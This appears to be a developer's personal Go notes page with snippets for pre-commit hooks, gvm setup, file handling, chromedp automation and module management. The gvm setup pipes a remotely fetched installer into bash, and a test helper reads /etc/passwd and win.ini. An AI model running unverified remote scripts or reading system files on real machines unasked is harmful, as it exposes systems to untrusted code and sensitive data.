.pre-commit-config.yaml:
---
repos:
- repo: local
hooks:
- id: go-vet
name: Run go vet
language: script
entry: .hooks/go-vet.sh
.hooks/go-vet.sh:
#!/bin/bash
set -e
pkg=$(go list)
for dir in */ ; do
if [[ "${dir}" != ".mage" ]] && \
[[ "${dir}" != "config/" ]] && \
[[ "${dir}" != "logs/" ]]; then
go vet $pkg/$dir
fi
done
Resource: Issue that yielded a solution go.mod example Original pre-commit hook that I based mine on
GVM is a version manager for golang.
You can add this script to your dotfiles if you’d like:
GO_VER=1.16.4
if hash go 2>/dev/null; then
GVM_BIN=$HOME/.gvm/scripts/gvm
export GOPATH=$HOME/programs/go
if [[ ! -f $GVM_BIN ]]; then
# Install gvm if it isn't installed
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
source $GVM_BIN
gvm install "go${GO_VER}"
fi
source $GVM_BIN
gvm use "go${GO_VER}" --default
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin"
fi
A pkgset is used to manage different GOPATHs for different projects.
PROJECT_NAME=myproject
gvm pkgset create "${PROJECT_NAME}"
gvm pkgset use "${PROJECT_NAME}"
# Show the updated $GOPATH to confirm everything worked as expected
echo $GOPATH
Resources:
gvm use go1.16.4 --default
Resources:
https://jimkang.medium.com/install-go-on-mac-with-homebrew-5fa421fc55f5
https://blog.bullgare.com/2020/11/install-go-with-gvm-on-macos-big-sur/
if-else example to convert:
// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
t.Helper()
var testFile string
if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
testFile = filepath.FromSlash("/etc/passwd")
} else if runtime.GOOS == "windows" {
testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
} else {
t.Fatal("Unsupported OS detected")
}
return testFile
}
converted to switch statements:
// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
t.Helper()
var testFile string
switch runtime.GOOS {
case "linux", "darwin":
testFile = filepath.FromSlash("/etc/passwd")
case "windows":
testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
default:
t.Fatal("Unsupported OS detected")
}
return testFile
}
Resources:
f, err := os.OpenFile("text.log",
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString("text to append\n"); err != nil {
log.Println(err)
}
Resource: https://yourbasic.org/golang/append-to-file/
b, err := os.ReadFile(filePath)
errStr := err.Error()
fmt.Println(errStr)
Resource: https://www.systutorials.com/in-golang-how-to-convert-an-error-to-a-string/
f, err := os.Open(path)
if err != nil {
return 0, err
}
defer f.Close()
// Splits on newlines by default.
scanner := bufio.NewScanner(f)
line := 1
// https://golang.org/pkg/bufio/#Scanner.Scan
for scanner.Scan() {
if strings.Contains(scanner.Text(), "yourstring") {
return line, nil
}
line++
}
if err := scanner.Err(); err != nil {
// Handle the error
}
Resource: https://stackoverflow.com/questions/37255304/golang-find-string-in-file-and-show-line-number
import strings
mystring := " bla "
strings.TrimSpace(myString)
Resource: https://yourbasic.org/golang/trim-whitespace-from-string/
package main
import (
"fmt"
"net/http"
)
func main() {
http.HandleFunc("/", HelloServer)
http.ListenAndServe(":8080", nil)
}
func HelloServer(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hooray, I am a webserver running on golang!")
}
Resource: https://yourbasic.org/golang/http-server-example/
This particular example will get the date 3 days into the future:
t := time.Now()
fmt.Println(t)
t2 := t.AddDate(0, 0, 3)
fmt.Println(t2)
Resources: https://234developer.wordpress.com/2019/09/12/how-to-add-days-to-date-in-golang/ https://go.dev/play/p/T-X-bjWpQia
This example also uses the script module, which
is not a requirement for this to be relevant.
import "github.com/bitfield/script"
commanderOut, err := script.Echo("q").Exec(
"keeper login [email protected]").Stdout()
w.Close()
out, _ := io.ReadAll(r)
os.Stdout = rescueStdout
if err != nil {
return "", fmt.Errorf("failed to login to keeper: %v", err)
}
fmt.Printf("Captured stdout: %s", out)
Resource: https://go.dev/play/p/fXpK0ZhXXf
This particular example will grab the value of a javascript variable in the target page.
package main
import (
"context"
"log"
"github.com/chromedp/chromedp"
)
func main() {
// Response
var resp string
// Target page
targetURL := "https://somesite.com/place"
// Element that needs to load on the page
waitElement := "#progress"
// Name of the JS var we want to get the value from
targetVar := "token"
options := append(chromedp.DefaultExecAllocatorOptions[:],
// Don't run chrome in headless mode
chromedp.Flag("headless", false),
)
// Create allocator context
allocatorCtx, cancel := chromedp.NewExecAllocator(
context.Background(), options...)
defer cancel()
// Create context
ctx, cancel := chromedp.NewContext(allocatorCtx)
defer cancel()
err := chromedp.Run(ctx,
getJSVarValue(
targetURL,
waitElement,
targetVar,
&resp,
),
)
if err != nil {
log.Fatal(err)
}
log.Printf("The value of %s is: %v\n", targetVar, resp)
}
// retrieve value of the input JS variable
// from the target site after the waitElement
// has loaded.
func getJSVarValue(targetURL string, waitElement string,
targetVar string, resp *string) chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate(targetURL),
chromedp.WaitVisible(waitElement),
chromedp.Evaluate(targetVar, &resp),
}
}
Resources:
chromedp.SendKeys(`#mydropdown`, "Text label content")
Resource: https://github.com/chromedp/chromedp/issues/8
If you need to figure out the mapping for a key, i.e.
you can find that information here:
Source code: https://github.com/chromedp/chromedp/blob/master/kb/kb.go#L118-L488 Docs: https://pkg.go.dev/github.com/chromedp/chromedp/kb#section-documentation
If you need to update a tagged release after using it with a project, you will need to do the following to use the new release:
Remove the existing go.mod and go.sum files for your project:
Remove any traces of the package from the system’s caches
(these instructions are for a deployment using gvm, but
you should be able to find the cache for a system that’s
only using one version of go:
GO_VER=go1.18
REPO_OWNER=l50
cd "${HOME}/.gvm/pkgsets/${GO_VER}/global/pkg"
rm -rf mod/cache/download/sumdb && \
rm -rf "./mod/cache/download/github.com/${REPO_OWNER}" && \
sudo rm -rf "./mod/github.com/${REPO_OWNER}"
Set the GOPRIVATE env var to point to the repo, so that go get will
download the module directly from the repo on github:
REPO_OWNER=l50
REPO_NAME=goutils
go env -w GOPRIVATE="github.com/${REPO_OWNER}/${REPO_NAME}"
Recreate the go module for your project and install the module dependencies:
REPO_OWNER=l50
REPO_NAME=sweetproject
go mod init github.com/${REPO_OWNER}/${REPO_NAME}"
go mod tidy
Resources:
If you encounter a checksum mismatch while compiling your code, run the following commands to re-download your dependencies with the proper checksum values:
go clean -modcache
go mod tidy
Resource: https://stackoverflow.com/questions/54133789/go-modules-checksum-mismatch
This will print the Go-syntax representation of the struct and its fields:
fmt.Printf("STRUCT FIELDS: %#v\n", mystruct)
There are several options out there to do this. I’m going to cover a few that I tested and use.
This example will list all files recursively in /tmp:
goeval -i .=github.com/l50/[email protected] -i github.com/l50/goutils 'fmt.Println(utils.ListFilesR("/tmp"))'
This example will print all exported function in the package found in the current directory:
goeval -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFunctionsInPackage("."))'
This example will use a specific commit hash of goutils:
COMMIT=8d8f800fbba1101d5a98bfe5f612372c630bb115; \
goeval -i goutils=github.com/l50/goutils@$COMMIT 'fmt.Println(goutils.FindExportedFuncsWithoutTests("../awsutils/pkg/ec2"))'
Debugging - show generated file:
goeval -E -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'
Debugging - show run commands;
goeval -x -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'
Define import name:
goeval -i goutils=github.com/l50/goutils@latest 'fmt.Println(goutils.FindExportedFunctionsInPackage("."))'
Please note that I was unable to find a way to make this work offline. If your internet goes out, you won’t be able to use your gosh work.
This example will list all files recursively in /tmp:
gosh -import='github.com/l50/goutils' -e 'fmt.Println(utils.ListFilesR("/tmp"))'
gosh -import='github.com/l50/goutils' \
-e 'fmt.Println(utils.CommanderInstalled())' -show-filename
Resource: https://stackoverflow.com/questions/55348458/build-constraints-exclude-all-go-files-in
A method receiver is used to associate a function with a specific struct type. This allows you to call a function on an instance of a struct, similar to how methods work in OOP.
It is effectively a way of passing a struct instance to a function without having to explicitly pass it as an argument.
Example:
package main
import "fmt"
type Person struct {
Name string
Age int
}
// Define a method receiver (p *Person) for the `sayHello` function
func (p *Person) sayHello() {
fmt.Printf("Hello, my name is %s and I am %d years old.\n", p.Name, p.Age)
}
func main() {
person := Person{Name: "Alice", Age: 30}
// Call the sayHello function on the person instance
person.sayHello()
}
In this example, the sayHello() function is associated with the
Person struct using the method receiver (p *Person). This
allows you to call the sayHello() function directly on an
instance of Person (i.e., person.sayHello()), without having
to pass the instance as a parameter.
Install spew:
go get -u github.com/davecgh/go-spew/spew
Use in code:
import "github.com/davecgh/go-spew/spew"
...
spew.Dump(struct)
goreleaser release --snapshot --clean
Resource: https://goreleaser.com/quick-start/